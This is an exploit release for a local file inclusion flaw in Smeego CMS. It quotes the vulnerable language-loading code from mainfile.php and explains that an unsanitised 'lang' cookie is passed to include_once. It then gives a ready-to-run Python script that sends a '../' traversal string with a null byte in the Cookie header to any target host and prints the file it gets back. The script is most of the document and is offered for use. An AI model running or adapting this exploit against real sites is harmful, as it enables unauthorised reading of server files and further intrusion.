smeego-lfi.txt

`# Smeego CMS Local File Include Exploit  
# by  
# 0in from Dark-Coders Programming & Security Group  
# >>>>>>>> http://dark-coders.4rh.eu <<<<<<<<<<<<<<  
#--------------------------------------------------------  
# Contact: 0in(dot)email[at]gmail(dot)com  
#--------------------------------------------------------  
# Greetings to: Die_Angel,suN8Hclf,m4r1usz,djlinux,doctor  
#--------------------------------------------------------  
# Description:  
# Smeego is a Content Management System or Portal  
# System written in PHP and designed to be  
# easy to install and use. Smeego has a mature code  
# and comes with cool modules and themes  
# for you to start your own dynamic and database  
# driven website. Bla bla Bla [...]  
# -------------------------------------------------------  
# Script home: http://smeego.com  
# -------------------------------------------------------  
# Vuln:  
# >>>>>> File: mainfile.php <<<<<<<  
#if ($display_errors == 1) { // We don't se any errors ;(  
# @ini_set('display_errors', 1);  
#} else {  
# @ini_set('display_errors', 0);  
#}  
#  
#if (isset($newlang)) {  
#  
# if (file_exists("language/lang-".$newlang.".php")) {  
# setcookie("lang",$newlang,time()+31536000);  
# include_once("language/lang-".$newlang.".php");  
# $currentlang = $newlang;  
# } else {  
# setcookie("lang",$language,time()+31536000);  
# include_once("language/lang-".$language.".php");  
# $currentlang = $language;  
# }  
#} elseif (isset($lang)) {  
#  
# include_once("language/lang-".$lang.".php");  
# $currentlang = $lang;  
#} else {  
# setcookie("lang",$language,time()+31536000);  
# include_once("language/lang-".$language.".php");  
# $currentlang = $language;  
#}  
# >>>>>> End <<<<<<<  
# So.. We can send Cookie: lang=[lfi]  
  
# -------------------------------------------------------  
  
# Simple Python Exploit:  
  
#!/usr/bin/python  
import sys  
import time  
import httplib  
print '====================================================='  
print ' Smeego CMS Local File INclude Exploit '  
print ' by '  
print ' 0in from Dark-Coders Programming & Security Group! '  
print ' http://dark-coders.4rh.eu '  
print '====================================================='  
try:  
target=sys.argv[1]  
path=sys.argv[2]  
file=sys.argv[3]  
except Exception:  
print '\nUse: %s [target] [path] [file]' % sys.argv[0]  
quit()  
i=0  
lfi='../'  
target+=":80"  
special="%00"  
file+=special  
for i in range(9):  
lfi+="../"  
print '---------------------------------------------------------'  
mysock=httplib.HTTPConnection(target)  
mysock=httplib.HTTPConnection(target)  
mysock.putrequest("GET",path)  
mysock.putheader("User-Agent","Billy Explorer v666")  
mysock.putheader('Accept', 'text/html')  
mysock.putheader('Accept-Language',' en-us,en;q=0.5')  
mysock.putheader('Cookie','lang=%s%s' % (lfi,file))  
mysock.endheaders()  
reply=mysock.getresponse()  
print reply.read()  
time.sleep(2)  
mysock.close()  
print '----------------------------------------------------------'  
  
#EOFF  
`